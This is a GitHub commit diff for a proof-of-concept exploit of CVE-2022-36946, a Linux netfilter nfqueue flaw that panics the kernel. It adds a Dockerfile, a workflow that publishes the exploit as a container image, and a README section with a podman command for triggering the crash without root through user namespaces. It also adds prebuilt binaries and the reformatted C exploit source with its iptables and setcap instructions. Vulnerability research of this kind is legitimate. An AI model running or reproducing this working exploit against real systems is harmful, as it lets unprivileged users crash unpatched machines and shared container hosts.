Merge pull request #2 from Pwnzer0tt1/unprivileged

Unprivileged POC
Pwnzer0tt1 · Sep 8, 2023 · edf2764 · edf2764
2 parents 09e5886 + 2106c57
commit edf2764
Show file tree

Hide file tree

Showing 267 changed files with 433 additions and 44 deletions.
diff --git a/.github/workflows/docker-image.yml b/.github/workflows/docker-image.yml
@@ -0,0 +1,53 @@
+name: Create and publish a Docker image
+
+on:
+  release:
+    types:
+      - published
+
+env:
+  REGISTRY: ghcr.io
+  IMAGE_NAME: ${{ github.repository }}
+
+jobs:
+  build-and-push-image:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      packages: write
+
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@v3
+
+      - name: Set up QEMU
+        uses: docker/setup-qemu-action@master
+        with:
+          platforms: all
+
+      - name: Set up Docker Buildx
+        id: buildx
+        uses: docker/setup-buildx-action@master
+
+      - name: Log in to the Container registry
+        uses: docker/login-action@v2
+        with:
+          registry: ${{ env.REGISTRY }}
+          username: ${{ github.actor }}
+          password: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: Extract metadata (tags, labels) for Docker
+        id: meta
+        uses: docker/metadata-action@v4
+        with:
+          images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
+
+      - name: Build and push Docker image
+        uses: docker/build-push-action@v3
+        with:
+          context: .
+          builder: ${{ steps.buildx.outputs.name }}
+          platforms: linux/amd64,linux/arm64
+          push: true
+          tags: ${{ steps.meta.outputs.tags }}
+          labels: ${{ steps.meta.outputs.labels }}
diff --git a/Dockerfile b/Dockerfile
@@ -0,0 +1,9 @@
+FROM debian
+
+RUN apt-get update
+RUN apt-get install -y libnetfilter-queue-dev libmnl-dev libnfnetlink-dev iptables gcc
+WORKDIR /exploit
+COPY panic6_podman.c panic6.c
+
+RUN cc panic6.c -o nfpanic -lmnl -lnetfilter_queue
+CMD ["./nfpanic"]
diff --git a/README.md b/README.md
@@ -22,6 +22,22 @@ So, if user truncates the packet below the header size, this skb\_pull() will re
 
 Try it executing [this](/panic6.c) c source code.
 
+# Do we *really* need root...?
+
+Using linux namespaces, in particular user namespaces (enabled via `kernel.unprivileged_userns_clone=1`), a normal user is able 
+to create a network namespace, enabling them to use the same kernel primitives that trigger the panic.
+This will allow you to use the vulnerability without having root.
+
+This scenario is not uncommon: for example [podman](https://podman.io/) uses this option to run its (rootless) containers,
+and on some distros this option is enabled by default.
+
+You can also try to execute the exploit without root privileges executing:
+
+```bash
+podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
+```
+
+
 # Fix up
 
 Fixed in linux kernel 5.19 [view diff](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/net/netfilter/nfnetlink_queue.c?id=v5.19&id2=v5.18)

diff --git a/amd64/ip b/amd64/ip
diff --git a/amd64/iptables b/amd64/iptables
diff --git a/amd64/ld-linux.so.1 b/amd64/ld-linux.so.1
diff --git a/amd64/libbpf.so.1 b/amd64/libbpf.so.1
diff --git a/amd64/libc.so.6 b/amd64/libc.so.6
diff --git a/amd64/libcap.so.2 b/amd64/libcap.so.2
diff --git a/amd64/libelf.so.1 b/amd64/libelf.so.1
diff --git a/amd64/libgcc_s.so.1 b/amd64/libgcc_s.so.1
diff --git a/amd64/libm.so.6 b/amd64/libm.so.6
diff --git a/amd64/libmnl.so.0 b/amd64/libmnl.so.0
diff --git a/amd64/libnetfilter_queue.so.1 b/amd64/libnetfilter_queue.so.1
diff --git a/amd64/libnfnetlink.so.0 b/amd64/libnfnetlink.so.0
diff --git a/amd64/libnftnl.so.11 b/amd64/libnftnl.so.11
diff --git a/amd64/libstdc++.so.6 b/amd64/libstdc++.so.6
diff --git a/amd64/libxtables.so.12 b/amd64/libxtables.so.12
diff --git a/amd64/libz.so.1 b/amd64/libz.so.1
diff --git a/amd64/libzstd.so.1 b/amd64/libzstd.so.1
diff --git a/amd64/nfpanic b/amd64/nfpanic
diff --git a/amd64/xtables/libarpt_mangle.so b/amd64/xtables/libarpt_mangle.so
diff --git a/amd64/xtables/libebt_802_3.so b/amd64/xtables/libebt_802_3.so
diff --git a/amd64/xtables/libebt_among.so b/amd64/xtables/libebt_among.so
diff --git a/amd64/xtables/libebt_arp.so b/amd64/xtables/libebt_arp.so
diff --git a/amd64/xtables/libebt_arpreply.so b/amd64/xtables/libebt_arpreply.so
diff --git a/amd64/xtables/libebt_dnat.so b/amd64/xtables/libebt_dnat.so
diff --git a/amd64/xtables/libebt_ip.so b/amd64/xtables/libebt_ip.so
diff --git a/amd64/xtables/libebt_ip6.so b/amd64/xtables/libebt_ip6.so
diff --git a/amd64/xtables/libebt_log.so b/amd64/xtables/libebt_log.so
diff --git a/amd64/xtables/libebt_mark.so b/amd64/xtables/libebt_mark.so
diff --git a/amd64/xtables/libebt_mark_m.so b/amd64/xtables/libebt_mark_m.so
diff --git a/amd64/xtables/libebt_nflog.so b/amd64/xtables/libebt_nflog.so
diff --git a/amd64/xtables/libebt_pkttype.so b/amd64/xtables/libebt_pkttype.so
diff --git a/amd64/xtables/libebt_redirect.so b/amd64/xtables/libebt_redirect.so
diff --git a/amd64/xtables/libebt_snat.so b/amd64/xtables/libebt_snat.so
diff --git a/amd64/xtables/libebt_stp.so b/amd64/xtables/libebt_stp.so
diff --git a/amd64/xtables/libebt_vlan.so b/amd64/xtables/libebt_vlan.so
diff --git a/amd64/xtables/libip6t_DNPT.so b/amd64/xtables/libip6t_DNPT.so
diff --git a/amd64/xtables/libip6t_HL.so b/amd64/xtables/libip6t_HL.so
diff --git a/amd64/xtables/libip6t_NETMAP.so b/amd64/xtables/libip6t_NETMAP.so
diff --git a/amd64/xtables/libip6t_REJECT.so b/amd64/xtables/libip6t_REJECT.so
diff --git a/amd64/xtables/libip6t_SNPT.so b/amd64/xtables/libip6t_SNPT.so
diff --git a/amd64/xtables/libip6t_ah.so b/amd64/xtables/libip6t_ah.so
diff --git a/amd64/xtables/libip6t_dst.so b/amd64/xtables/libip6t_dst.so
diff --git a/amd64/xtables/libip6t_eui64.so b/amd64/xtables/libip6t_eui64.so
diff --git a/amd64/xtables/libip6t_frag.so b/amd64/xtables/libip6t_frag.so
diff --git a/amd64/xtables/libip6t_hbh.so b/amd64/xtables/libip6t_hbh.so
diff --git a/amd64/xtables/libip6t_icmp6.so b/amd64/xtables/libip6t_icmp6.so
diff --git a/amd64/xtables/libip6t_ipv6header.so b/amd64/xtables/libip6t_ipv6header.so
diff --git a/amd64/xtables/libip6t_mh.so b/amd64/xtables/libip6t_mh.so
diff --git a/amd64/xtables/libip6t_rt.so b/amd64/xtables/libip6t_rt.so
diff --git a/amd64/xtables/libip6t_srh.so b/amd64/xtables/libip6t_srh.so
diff --git a/amd64/xtables/libipt_CLUSTERIP.so b/amd64/xtables/libipt_CLUSTERIP.so
diff --git a/amd64/xtables/libipt_ECN.so b/amd64/xtables/libipt_ECN.so
diff --git a/amd64/xtables/libipt_NETMAP.so b/amd64/xtables/libipt_NETMAP.so
diff --git a/amd64/xtables/libipt_REJECT.so b/amd64/xtables/libipt_REJECT.so
diff --git a/amd64/xtables/libipt_TTL.so b/amd64/xtables/libipt_TTL.so
diff --git a/amd64/xtables/libipt_ULOG.so b/amd64/xtables/libipt_ULOG.so
diff --git a/amd64/xtables/libipt_ah.so b/amd64/xtables/libipt_ah.so
diff --git a/amd64/xtables/libipt_icmp.so b/amd64/xtables/libipt_icmp.so
diff --git a/amd64/xtables/libipt_realm.so b/amd64/xtables/libipt_realm.so
diff --git a/amd64/xtables/libxt_AUDIT.so b/amd64/xtables/libxt_AUDIT.so
diff --git a/amd64/xtables/libxt_CHECKSUM.so b/amd64/xtables/libxt_CHECKSUM.so
diff --git a/amd64/xtables/libxt_CLASSIFY.so b/amd64/xtables/libxt_CLASSIFY.so
diff --git a/amd64/xtables/libxt_CONNMARK.so b/amd64/xtables/libxt_CONNMARK.so
diff --git a/amd64/xtables/libxt_CONNSECMARK.so b/amd64/xtables/libxt_CONNSECMARK.so
diff --git a/amd64/xtables/libxt_CT.so b/amd64/xtables/libxt_CT.so
diff --git a/amd64/xtables/libxt_DNAT.so b/amd64/xtables/libxt_DNAT.so
@@ -0,0 +1 @@
+libxt_NAT.so
diff --git a/amd64/xtables/libxt_DSCP.so b/amd64/xtables/libxt_DSCP.so
diff --git a/amd64/xtables/libxt_HMARK.so b/amd64/xtables/libxt_HMARK.so
diff --git a/amd64/xtables/libxt_IDLETIMER.so b/amd64/xtables/libxt_IDLETIMER.so
diff --git a/amd64/xtables/libxt_LED.so b/amd64/xtables/libxt_LED.so
diff --git a/amd64/xtables/libxt_LOG.so b/amd64/xtables/libxt_LOG.so
diff --git a/amd64/xtables/libxt_MARK.so b/amd64/xtables/libxt_MARK.so
diff --git a/amd64/xtables/libxt_MASQUERADE.so b/amd64/xtables/libxt_MASQUERADE.so
@@ -0,0 +1 @@
+libxt_NAT.so
diff --git a/amd64/xtables/libxt_NAT.so b/amd64/xtables/libxt_NAT.so
diff --git a/amd64/xtables/libxt_NFLOG.so b/amd64/xtables/libxt_NFLOG.so
diff --git a/amd64/xtables/libxt_NFQUEUE.so b/amd64/xtables/libxt_NFQUEUE.so
diff --git a/amd64/xtables/libxt_NOTRACK.so b/amd64/xtables/libxt_NOTRACK.so
@@ -0,0 +1 @@
+libxt_CT.so
diff --git a/amd64/xtables/libxt_RATEEST.so b/amd64/xtables/libxt_RATEEST.so
diff --git a/amd64/xtables/libxt_REDIRECT.so b/amd64/xtables/libxt_REDIRECT.so
@@ -0,0 +1 @@
+libxt_NAT.so
diff --git a/amd64/xtables/libxt_SECMARK.so b/amd64/xtables/libxt_SECMARK.so
diff --git a/amd64/xtables/libxt_SET.so b/amd64/xtables/libxt_SET.so
diff --git a/amd64/xtables/libxt_SNAT.so b/amd64/xtables/libxt_SNAT.so
@@ -0,0 +1 @@
+libxt_NAT.so
diff --git a/amd64/xtables/libxt_SYNPROXY.so b/amd64/xtables/libxt_SYNPROXY.so
diff --git a/amd64/xtables/libxt_TCPMSS.so b/amd64/xtables/libxt_TCPMSS.so
diff --git a/amd64/xtables/libxt_TCPOPTSTRIP.so b/amd64/xtables/libxt_TCPOPTSTRIP.so
diff --git a/amd64/xtables/libxt_TEE.so b/amd64/xtables/libxt_TEE.so
diff --git a/amd64/xtables/libxt_TOS.so b/amd64/xtables/libxt_TOS.so
diff --git a/amd64/xtables/libxt_TPROXY.so b/amd64/xtables/libxt_TPROXY.so
diff --git a/amd64/xtables/libxt_TRACE.so b/amd64/xtables/libxt_TRACE.so
diff --git a/amd64/xtables/libxt_addrtype.so b/amd64/xtables/libxt_addrtype.so
diff --git a/amd64/xtables/libxt_bpf.so b/amd64/xtables/libxt_bpf.so
diff --git a/amd64/xtables/libxt_cgroup.so b/amd64/xtables/libxt_cgroup.so
diff --git a/amd64/xtables/libxt_cluster.so b/amd64/xtables/libxt_cluster.so
diff --git a/amd64/xtables/libxt_comment.so b/amd64/xtables/libxt_comment.so
diff --git a/amd64/xtables/libxt_connbytes.so b/amd64/xtables/libxt_connbytes.so
diff --git a/amd64/xtables/libxt_connlabel.so b/amd64/xtables/libxt_connlabel.so
diff --git a/amd64/xtables/libxt_connlimit.so b/amd64/xtables/libxt_connlimit.so
diff --git a/amd64/xtables/libxt_conntrack.so b/amd64/xtables/libxt_conntrack.so
diff --git a/amd64/xtables/libxt_cpu.so b/amd64/xtables/libxt_cpu.so
diff --git a/amd64/xtables/libxt_dccp.so b/amd64/xtables/libxt_dccp.so
diff --git a/amd64/xtables/libxt_devgroup.so b/amd64/xtables/libxt_devgroup.so
diff --git a/amd64/xtables/libxt_ecn.so b/amd64/xtables/libxt_ecn.so
diff --git a/amd64/xtables/libxt_esp.so b/amd64/xtables/libxt_esp.so
diff --git a/amd64/xtables/libxt_hashlimit.so b/amd64/xtables/libxt_hashlimit.so
diff --git a/amd64/xtables/libxt_helper.so b/amd64/xtables/libxt_helper.so
diff --git a/amd64/xtables/libxt_ipcomp.so b/amd64/xtables/libxt_ipcomp.so
diff --git a/amd64/xtables/libxt_iprange.so b/amd64/xtables/libxt_iprange.so
diff --git a/amd64/xtables/libxt_ipvs.so b/amd64/xtables/libxt_ipvs.so
diff --git a/amd64/xtables/libxt_length.so b/amd64/xtables/libxt_length.so
diff --git a/amd64/xtables/libxt_limit.so b/amd64/xtables/libxt_limit.so
diff --git a/amd64/xtables/libxt_mac.so b/amd64/xtables/libxt_mac.so
diff --git a/amd64/xtables/libxt_multiport.so b/amd64/xtables/libxt_multiport.so
diff --git a/amd64/xtables/libxt_nfacct.so b/amd64/xtables/libxt_nfacct.so
diff --git a/amd64/xtables/libxt_osf.so b/amd64/xtables/libxt_osf.so
diff --git a/amd64/xtables/libxt_owner.so b/amd64/xtables/libxt_owner.so
diff --git a/amd64/xtables/libxt_physdev.so b/amd64/xtables/libxt_physdev.so
diff --git a/amd64/xtables/libxt_pkttype.so b/amd64/xtables/libxt_pkttype.so
diff --git a/amd64/xtables/libxt_policy.so b/amd64/xtables/libxt_policy.so
diff --git a/amd64/xtables/libxt_quota.so b/amd64/xtables/libxt_quota.so
diff --git a/amd64/xtables/libxt_recent.so b/amd64/xtables/libxt_recent.so
diff --git a/amd64/xtables/libxt_rpfilter.so b/amd64/xtables/libxt_rpfilter.so
diff --git a/amd64/xtables/libxt_sctp.so b/amd64/xtables/libxt_sctp.so
diff --git a/amd64/xtables/libxt_socket.so b/amd64/xtables/libxt_socket.so
diff --git a/amd64/xtables/libxt_standard.so b/amd64/xtables/libxt_standard.so
diff --git a/amd64/xtables/libxt_state.so b/amd64/xtables/libxt_state.so
@@ -0,0 +1 @@
+libxt_conntrack.so
diff --git a/amd64/xtables/libxt_statistic.so b/amd64/xtables/libxt_statistic.so
diff --git a/amd64/xtables/libxt_string.so b/amd64/xtables/libxt_string.so
diff --git a/amd64/xtables/libxt_tcp.so b/amd64/xtables/libxt_tcp.so
diff --git a/amd64/xtables/libxt_time.so b/amd64/xtables/libxt_time.so
diff --git a/amd64/xtables/libxt_u32.so b/amd64/xtables/libxt_u32.so
diff --git a/amd64/xtables/libxt_udp.so b/amd64/xtables/libxt_udp.so
diff --git a/arm64/ip b/arm64/ip
diff --git a/arm64/iptables b/arm64/iptables
diff --git a/arm64/ld-linux.so.1 b/arm64/ld-linux.so.1
diff --git a/arm64/libbpf.so.0 b/arm64/libbpf.so.0
diff --git a/arm64/libbsd.so.0 b/arm64/libbsd.so.0
diff --git a/arm64/libc.so.6 b/arm64/libc.so.6
diff --git a/arm64/libcap.so.2 b/arm64/libcap.so.2
diff --git a/arm64/libelf.so.1 b/arm64/libelf.so.1
diff --git a/arm64/libmd.so.0 b/arm64/libmd.so.0
diff --git a/arm64/libmnl.so.0 b/arm64/libmnl.so.0
diff --git a/arm64/libnetfilter_queue.so.1 b/arm64/libnetfilter_queue.so.1
diff --git a/arm64/libnfnetlink.so.0 b/arm64/libnfnetlink.so.0
diff --git a/arm64/libnftnl.so.11 b/arm64/libnftnl.so.11
diff --git a/arm64/libxtables.so.12 b/arm64/libxtables.so.12
diff --git a/arm64/libz.so.1 b/arm64/libz.so.1
diff --git a/arm64/nfpanic b/arm64/nfpanic
diff --git a/arm64/xtables/libarpt_mangle.so b/arm64/xtables/libarpt_mangle.so
diff --git a/arm64/xtables/libebt_802_3.so b/arm64/xtables/libebt_802_3.so
diff --git a/arm64/xtables/libebt_among.so b/arm64/xtables/libebt_among.so
diff --git a/arm64/xtables/libebt_arp.so b/arm64/xtables/libebt_arp.so
diff --git a/arm64/xtables/libebt_arpreply.so b/arm64/xtables/libebt_arpreply.so
diff --git a/arm64/xtables/libebt_dnat.so b/arm64/xtables/libebt_dnat.so
diff --git a/arm64/xtables/libebt_ip.so b/arm64/xtables/libebt_ip.so
diff --git a/arm64/xtables/libebt_ip6.so b/arm64/xtables/libebt_ip6.so
diff --git a/arm64/xtables/libebt_log.so b/arm64/xtables/libebt_log.so
diff --git a/arm64/xtables/libebt_mark.so b/arm64/xtables/libebt_mark.so
diff --git a/arm64/xtables/libebt_mark_m.so b/arm64/xtables/libebt_mark_m.so
diff --git a/arm64/xtables/libebt_nflog.so b/arm64/xtables/libebt_nflog.so
diff --git a/arm64/xtables/libebt_pkttype.so b/arm64/xtables/libebt_pkttype.so
diff --git a/arm64/xtables/libebt_redirect.so b/arm64/xtables/libebt_redirect.so
diff --git a/arm64/xtables/libebt_snat.so b/arm64/xtables/libebt_snat.so
diff --git a/arm64/xtables/libebt_stp.so b/arm64/xtables/libebt_stp.so
diff --git a/arm64/xtables/libebt_vlan.so b/arm64/xtables/libebt_vlan.so
diff --git a/arm64/xtables/libip6t_DNPT.so b/arm64/xtables/libip6t_DNPT.so
diff --git a/arm64/xtables/libip6t_HL.so b/arm64/xtables/libip6t_HL.so
diff --git a/arm64/xtables/libip6t_NETMAP.so b/arm64/xtables/libip6t_NETMAP.so
diff --git a/arm64/xtables/libip6t_REJECT.so b/arm64/xtables/libip6t_REJECT.so
diff --git a/arm64/xtables/libip6t_SNPT.so b/arm64/xtables/libip6t_SNPT.so
diff --git a/arm64/xtables/libip6t_ah.so b/arm64/xtables/libip6t_ah.so
diff --git a/arm64/xtables/libip6t_dst.so b/arm64/xtables/libip6t_dst.so
diff --git a/arm64/xtables/libip6t_eui64.so b/arm64/xtables/libip6t_eui64.so
diff --git a/arm64/xtables/libip6t_frag.so b/arm64/xtables/libip6t_frag.so
diff --git a/arm64/xtables/libip6t_hbh.so b/arm64/xtables/libip6t_hbh.so
diff --git a/arm64/xtables/libip6t_icmp6.so b/arm64/xtables/libip6t_icmp6.so
diff --git a/arm64/xtables/libip6t_ipv6header.so b/arm64/xtables/libip6t_ipv6header.so
diff --git a/arm64/xtables/libip6t_mh.so b/arm64/xtables/libip6t_mh.so
diff --git a/arm64/xtables/libip6t_rt.so b/arm64/xtables/libip6t_rt.so
diff --git a/arm64/xtables/libip6t_srh.so b/arm64/xtables/libip6t_srh.so
diff --git a/arm64/xtables/libipt_CLUSTERIP.so b/arm64/xtables/libipt_CLUSTERIP.so
diff --git a/arm64/xtables/libipt_ECN.so b/arm64/xtables/libipt_ECN.so
diff --git a/arm64/xtables/libipt_NETMAP.so b/arm64/xtables/libipt_NETMAP.so
diff --git a/arm64/xtables/libipt_REJECT.so b/arm64/xtables/libipt_REJECT.so
diff --git a/arm64/xtables/libipt_TTL.so b/arm64/xtables/libipt_TTL.so
diff --git a/arm64/xtables/libipt_ULOG.so b/arm64/xtables/libipt_ULOG.so
diff --git a/arm64/xtables/libipt_ah.so b/arm64/xtables/libipt_ah.so
diff --git a/arm64/xtables/libipt_icmp.so b/arm64/xtables/libipt_icmp.so
diff --git a/arm64/xtables/libipt_realm.so b/arm64/xtables/libipt_realm.so
diff --git a/arm64/xtables/libxt_AUDIT.so b/arm64/xtables/libxt_AUDIT.so
diff --git a/arm64/xtables/libxt_CHECKSUM.so b/arm64/xtables/libxt_CHECKSUM.so
diff --git a/arm64/xtables/libxt_CLASSIFY.so b/arm64/xtables/libxt_CLASSIFY.so
diff --git a/arm64/xtables/libxt_CONNMARK.so b/arm64/xtables/libxt_CONNMARK.so
diff --git a/arm64/xtables/libxt_CONNSECMARK.so b/arm64/xtables/libxt_CONNSECMARK.so
diff --git a/arm64/xtables/libxt_CT.so b/arm64/xtables/libxt_CT.so
diff --git a/arm64/xtables/libxt_DNAT.so b/arm64/xtables/libxt_DNAT.so
@@ -0,0 +1 @@
+libxt_NAT.so
diff --git a/arm64/xtables/libxt_DSCP.so b/arm64/xtables/libxt_DSCP.so
diff --git a/arm64/xtables/libxt_HMARK.so b/arm64/xtables/libxt_HMARK.so
diff --git a/arm64/xtables/libxt_IDLETIMER.so b/arm64/xtables/libxt_IDLETIMER.so
diff --git a/arm64/xtables/libxt_LED.so b/arm64/xtables/libxt_LED.so
diff --git a/arm64/xtables/libxt_LOG.so b/arm64/xtables/libxt_LOG.so
diff --git a/arm64/xtables/libxt_MARK.so b/arm64/xtables/libxt_MARK.so
diff --git a/arm64/xtables/libxt_MASQUERADE.so b/arm64/xtables/libxt_MASQUERADE.so
@@ -0,0 +1 @@
+libxt_NAT.so
diff --git a/arm64/xtables/libxt_NAT.so b/arm64/xtables/libxt_NAT.so
diff --git a/arm64/xtables/libxt_NFLOG.so b/arm64/xtables/libxt_NFLOG.so
diff --git a/arm64/xtables/libxt_NFQUEUE.so b/arm64/xtables/libxt_NFQUEUE.so
diff --git a/arm64/xtables/libxt_NOTRACK.so b/arm64/xtables/libxt_NOTRACK.so
@@ -0,0 +1 @@
+libxt_CT.so
diff --git a/arm64/xtables/libxt_RATEEST.so b/arm64/xtables/libxt_RATEEST.so
diff --git a/arm64/xtables/libxt_REDIRECT.so b/arm64/xtables/libxt_REDIRECT.so
@@ -0,0 +1 @@
+libxt_NAT.so
diff --git a/arm64/xtables/libxt_SECMARK.so b/arm64/xtables/libxt_SECMARK.so
diff --git a/arm64/xtables/libxt_SET.so b/arm64/xtables/libxt_SET.so
diff --git a/arm64/xtables/libxt_SNAT.so b/arm64/xtables/libxt_SNAT.so
@@ -0,0 +1 @@
+libxt_NAT.so
diff --git a/arm64/xtables/libxt_SYNPROXY.so b/arm64/xtables/libxt_SYNPROXY.so
diff --git a/arm64/xtables/libxt_TCPMSS.so b/arm64/xtables/libxt_TCPMSS.so
diff --git a/arm64/xtables/libxt_TCPOPTSTRIP.so b/arm64/xtables/libxt_TCPOPTSTRIP.so
diff --git a/arm64/xtables/libxt_TEE.so b/arm64/xtables/libxt_TEE.so
diff --git a/arm64/xtables/libxt_TOS.so b/arm64/xtables/libxt_TOS.so
diff --git a/arm64/xtables/libxt_TPROXY.so b/arm64/xtables/libxt_TPROXY.so
diff --git a/arm64/xtables/libxt_TRACE.so b/arm64/xtables/libxt_TRACE.so
diff --git a/arm64/xtables/libxt_addrtype.so b/arm64/xtables/libxt_addrtype.so
diff --git a/arm64/xtables/libxt_bpf.so b/arm64/xtables/libxt_bpf.so
diff --git a/arm64/xtables/libxt_cgroup.so b/arm64/xtables/libxt_cgroup.so
diff --git a/arm64/xtables/libxt_cluster.so b/arm64/xtables/libxt_cluster.so
diff --git a/arm64/xtables/libxt_comment.so b/arm64/xtables/libxt_comment.so
diff --git a/arm64/xtables/libxt_connbytes.so b/arm64/xtables/libxt_connbytes.so
diff --git a/arm64/xtables/libxt_connlabel.so b/arm64/xtables/libxt_connlabel.so
diff --git a/arm64/xtables/libxt_connlimit.so b/arm64/xtables/libxt_connlimit.so
diff --git a/arm64/xtables/libxt_conntrack.so b/arm64/xtables/libxt_conntrack.so
diff --git a/arm64/xtables/libxt_cpu.so b/arm64/xtables/libxt_cpu.so
diff --git a/arm64/xtables/libxt_dccp.so b/arm64/xtables/libxt_dccp.so
diff --git a/arm64/xtables/libxt_devgroup.so b/arm64/xtables/libxt_devgroup.so
diff --git a/arm64/xtables/libxt_ecn.so b/arm64/xtables/libxt_ecn.so
diff --git a/arm64/xtables/libxt_esp.so b/arm64/xtables/libxt_esp.so
diff --git a/arm64/xtables/libxt_hashlimit.so b/arm64/xtables/libxt_hashlimit.so
diff --git a/arm64/xtables/libxt_helper.so b/arm64/xtables/libxt_helper.so
diff --git a/arm64/xtables/libxt_ipcomp.so b/arm64/xtables/libxt_ipcomp.so
diff --git a/arm64/xtables/libxt_iprange.so b/arm64/xtables/libxt_iprange.so
diff --git a/arm64/xtables/libxt_ipvs.so b/arm64/xtables/libxt_ipvs.so
diff --git a/arm64/xtables/libxt_length.so b/arm64/xtables/libxt_length.so
diff --git a/arm64/xtables/libxt_limit.so b/arm64/xtables/libxt_limit.so
diff --git a/arm64/xtables/libxt_mac.so b/arm64/xtables/libxt_mac.so
diff --git a/arm64/xtables/libxt_multiport.so b/arm64/xtables/libxt_multiport.so
diff --git a/arm64/xtables/libxt_nfacct.so b/arm64/xtables/libxt_nfacct.so
diff --git a/arm64/xtables/libxt_osf.so b/arm64/xtables/libxt_osf.so
diff --git a/arm64/xtables/libxt_owner.so b/arm64/xtables/libxt_owner.so
diff --git a/arm64/xtables/libxt_physdev.so b/arm64/xtables/libxt_physdev.so
diff --git a/arm64/xtables/libxt_pkttype.so b/arm64/xtables/libxt_pkttype.so
diff --git a/arm64/xtables/libxt_policy.so b/arm64/xtables/libxt_policy.so
diff --git a/arm64/xtables/libxt_quota.so b/arm64/xtables/libxt_quota.so
diff --git a/arm64/xtables/libxt_recent.so b/arm64/xtables/libxt_recent.so
diff --git a/arm64/xtables/libxt_rpfilter.so b/arm64/xtables/libxt_rpfilter.so
diff --git a/arm64/xtables/libxt_sctp.so b/arm64/xtables/libxt_sctp.so
diff --git a/arm64/xtables/libxt_socket.so b/arm64/xtables/libxt_socket.so
diff --git a/arm64/xtables/libxt_standard.so b/arm64/xtables/libxt_standard.so
diff --git a/arm64/xtables/libxt_state.so b/arm64/xtables/libxt_state.so
@@ -0,0 +1 @@
+libxt_conntrack.so
diff --git a/arm64/xtables/libxt_statistic.so b/arm64/xtables/libxt_statistic.so
diff --git a/arm64/xtables/libxt_string.so b/arm64/xtables/libxt_string.so
diff --git a/arm64/xtables/libxt_tcp.so b/arm64/xtables/libxt_tcp.so
diff --git a/arm64/xtables/libxt_time.so b/arm64/xtables/libxt_time.so
diff --git a/arm64/xtables/libxt_u32.so b/arm64/xtables/libxt_u32.so
diff --git a/arm64/xtables/libxt_udp.so b/arm64/xtables/libxt_udp.so
diff --git a/panic6.c b/panic6.c
@@ -10,55 +10,60 @@
 #include <sys/socket.h>
 #include <string.h>
 
-//How to compile:
-//cc panic6.c -o nfpanic -lmnl -lnetfilter_queue && sudo setcap "CAP_NET_ADMIN+ep" ./nfpanic && ./nfpanic
+// How to compile:
+// cc panic6.c -o nfpanic -lmnl -lnetfilter_queue && sudo setcap "CAP_NET_ADMIN+ep" ./nfpanic && ./nfpanic
 
 int socket_conn(uint16_t port)
 {
-    int sockfd, connfd;
-    struct sockaddr_in servaddr, cli;
-
-    // socket create and verification
-    sockfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
-    if (sockfd == -1) {
-        perror("socket creation failed");
-        exit(EXIT_FAILURE);
-    }
-    bzero(&servaddr, sizeof(servaddr));
-
-    // assign IP, PORT
-    servaddr.sin_family = AF_INET;
-    servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-    servaddr.sin_port = htons(port);
-
-    // connect the client socket to server socket
-    connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
+	int sockfd, connfd;
+	struct sockaddr_in servaddr, cli;
+
+	// socket create and verification
+	sockfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
+	if (sockfd == -1)
+	{
+		perror("socket creation failed");
+		exit(EXIT_FAILURE);
+	}
+	bzero(&servaddr, sizeof(servaddr));
+
+	// assign IP, PORT
+	servaddr.sin_family = AF_INET;
+	servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+	servaddr.sin_port = htons(port);
+
+	// connect the client socket to server socket
+	connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
+	return sockfd;
 }
 
 int main(int argc, char *argv[])
 {
-	size_t BUF_SIZE = 0xffff+(MNL_SOCKET_BUFFER_SIZE/2);
+	size_t BUF_SIZE = 0xffff + (MNL_SOCKET_BUFFER_SIZE / 2);
 	char buf[BUF_SIZE];
 	uint16_t queue_num = 1337;
 	struct nlmsghdr *nlh;
 
 	puts("[*] Creating the socket with the kernel");
-	struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);
-	if (nl == NULL) {
-		perror( "mnl_socket_open" );
+	struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
+	if (nl == NULL)
+	{
+		perror("mnl_socket_open");
 		exit(EXIT_FAILURE);
 	}
 	puts("[*] Binding the socket");
-	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
-		perror( "mnl_socket_bind" );
+	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
+	{
+		perror("mnl_socket_bind");
 		exit(EXIT_FAILURE);
 	}
 
-	printf("[*] Sending the BIND command for the nfqueue %d\n",queue_num);
+	printf("[*] Sending the BIND command for the nfqueue %d\n", queue_num);
 	nlh = nfq_nlmsg_put(buf, NFQNL_MSG_CONFIG, queue_num);
 	nfq_nlmsg_cfg_put_cmd(nlh, AF_INET, NFQNL_CFG_CMD_BIND);
-	if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
-		perror( "mnl_socket_send" );
+	if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
+	{
+		perror("mnl_socket_send");
 		exit(EXIT_FAILURE);
 	}
 
@@ -67,38 +72,38 @@ int main(int argc, char *argv[])
 	nfq_nlmsg_cfg_put_params(nlh, NFQNL_COPY_META, 0xffff);
 	mnl_attr_put_u32(nlh, NFQA_CFG_FLAGS, htonl(NFQA_CFG_F_GSO));
 	mnl_attr_put_u32(nlh, NFQA_CFG_MASK, htonl(NFQA_CFG_F_GSO));
-	if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
-		perror( "mnl_socket_send" );
+	if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
+	{
+		perror("mnl_socket_send");
 		exit(EXIT_FAILURE);
 	}
-	
+
 	printf("[*] You need to associate to this queue the port 1337: sudo iptables -t mangle -A PREROUTING -j NFQUEUE -p tcp --dport 1337 --queue-num %d\n", queue_num);
 	puts("Press ENTER to contiune (and panic)");
 	getchar();
 
 	puts("[*] Sending a connection packet to nfqueue");
 	socket_conn(1337);
 
-
 	puts("[*] Waiting for a packet in the nfqueue");
